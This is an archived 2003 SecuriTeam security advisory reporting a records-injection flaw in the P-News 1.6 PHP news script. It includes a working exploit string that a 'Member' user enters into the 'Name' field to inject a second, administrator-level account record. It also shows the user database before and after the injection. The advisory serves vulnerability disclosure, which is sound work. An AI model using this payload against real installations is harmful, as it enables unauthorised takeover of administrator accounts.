

# [UNIX] Admin Access Vulnerability in P-News (Records Injection)

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-05/0052.html>

---

*From:* SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

*Date:* 05/26/03

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 26 May 2003 18:04:48 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

In the US?

Contact Beyond Security at our new California office housewarming rates on automated network vulnerability scanning. We also welcome ISPs and other resellers!

Please contact us at: 323-882-8286 or [ussales@beyondsecurity.com](mailto:ussales@beyondsecurity.com)

-----

Admin Access Vulnerability in P-News (Records Injection)

---

## SUMMARY

A vulnerability in <http://www.ppopn.net/> P-News allows users with 'Member' privileges to gain elevated privileges by inserting an additional record into the user database.

## DETAILS

Vulnerable systems:

\* P-News version 1.6

It is possible to gain administrative access if you possess a 'Member' account due to a flaw in the 'p-news.php' file. The vulnerability allows you to inject an entire arbitrary account, including all the fields, into the 'Name' field, which will push all the restricting details to the far end of the data string, not allowing them to be included in the login process.

Below is an example of a normal database:

## Securiteam: [UNIX] Admin Access Vulnerability in P-News (Records Injection)

```
Admin|-|21232f297a57a5a743894a0e4a801fc3|-|0|-|p-news-admin@ppopn.net|-|
Peter|-|179ad45c6ce2cb97cf1029e212046e81|-|2|-|peter@aol.com|-|
```

Notice the '0' denotes an 'admin' account, and the '2' denotes a 'member' account.

Exploit:

Putting the following string:

```
Peter|-|21232f297a57a5a743894a0e4a801fc3|-|0|-|none@nowhere.com|-|
```

Into the 'Name' field in the edit account information section will give the malicious user administrative privileges. The database then looks like:

```
Admin|-|21232f297a57a5a743894a0e4a801fc3|-|0|-|p-news-admin@ppopn.net|-|
Peter|-|21232f297a57a5a743894a0e4a801fc3|-|0|-|none@nowhere.com|-||-|179ad45c6ce2cb97cf1029e212046e81|-|2
```

### ADDITIONAL INFORMATION

The information has been provided by <<mailto:peter4020@hotmail.com>> Peter Winter-Smith.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====

=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.